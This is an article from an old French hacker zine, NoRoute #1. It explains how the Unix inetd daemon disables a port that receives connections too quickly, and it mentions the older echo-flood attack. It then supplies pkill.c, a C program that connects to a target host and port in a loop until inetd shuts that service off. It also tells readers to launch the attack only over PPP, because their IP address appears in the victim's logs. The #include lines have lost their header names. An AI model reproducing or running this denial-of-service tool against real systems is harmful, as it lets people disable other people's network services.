------------------------------------------------------------------------------- NoRoute #1 ¦ Un probleme d'inetd ¦ 4757 ¦ s0RC3Ry ¦ NoRoute #1 ------------------------------------------------------------------------------- -:$[Un probleme d'inetd...le looping]$:- SorcerY Sur une machine de type unix, il est possible de se connecter sur plusieurs ports. Par exemple, le port 23 est celui du telnet, le 21 du ftp, le 110 est reserve a pop-mail, le 25 est le mail.. pour gerer tous ces ports, il faut des programmes, et pour eviter que 60 programmes tournent en meme temps sur la machine pour ecouter les ports, on passe par un daemon, inetd, qui gere lui meme les connections: il ecoute les requetes de connection sur les ports et lance les programmes en fonction du besoin. Par exemple lors d'une connection sur le port 23, il execute /usr/sbin/in.telnetd, daemon qui va gerer la connection telnet.. [ok, il y a des exceptions... ] Il y a quelques annees encore, une grande technique de flood existait et amusait pas mal de monde: l'echo flood. Le port 7 des machines unix est en effet un port special, qui sert d'echo: tout packet envoye sur ce port est renvoye a l'expediteur... Le but de la manoeuvre etait d'envoyer quelques packets sur le port 7 de la machine a flooder en se faisant passer pour cette machine.. Le ping pong qui en resultait amenait generalement la machine a ralentir terriblement et parfois a planter... Pour controller ce genre d'evenements, les daemons d'echo refusent desormais generalement les packets venant de localhost, et inetd dispose d'un controle de ce loopbacking: quand un port est sollicite avec une trop grande frequence, inetd coupe tout simplement ce port... Ensuite, par defaut sous beaucoup de systemes, il faut attendre environ 20 minute pour que le port se rouvre ou bien le relancer a la main (kill -HUP inetd). Cette attaque ne sera sans doute pas efficace contre un gros serveur dont l'inetd sera beaucoup moins sensible au looping (prenons l'exemple d'un www qui est prevu pour recevoir environ 100 connections par minutes...).. De plus, il est bon de savoir qu'un /var/adm/messages d'un serveur ayant subit cette attaque sera rempli de +/-500 lignes contenant votre adresse IP. A faire donc uniquement lors de connections PPP.... =) ------8<----------8<----------Cut herE-------8<-----------8<---------------8<- /* pkill.c * p0rt| cc pkill.c -o pkill * * * Credits: * Alan Cox (gestion des sockets) */ #include #include #include #include #include #include #include #include int Make_Connection(int port,const char *buf); int Connect_To(int port,const char *buf) { if (Make_Connection(port,buf)==-1) { printf ("%s's port number %i is now unreachable! \n",buf,port); return(0); } return(1); } main(int argc,char *argv[]) { if (argv[1]&&argv[2]) { printf ("\nNow closing port %i on %s\n",atoi(argv[1]),argv[2]); while(Connect_To(atoi(argv[1]),argv[2])); printf("\n\nThanx to this lame kode, yeepee! =)\n"); } else { printf("\n\nUsage: %s [port] [host]\n",argv[0]); } } int Make_Connection(int port,const char *buf) { struct sockaddr_in myaddress; struct hostent *host; int v; host=gethostbyname(buf); if(host==NULL) { return(-1); } myaddress.sin_family=host->h_addrtype; myaddress.sin_addr.s_addr=*((long *)host->h_addr); myaddress.sin_port=htons(port); v=socket(AF_INET,SOCK_STREAM,0); /* Ouverture du socket apres initialisation des donnees pour la connection */ if(v==-1) { return(-1); } if(connect(v,(struct sockaddr *)&myaddress,sizeof(myaddress))<0) /* Connection a la machine */ { close(v); return(-1); } return(v); } ----------------------------------8<-------------8<----------------------------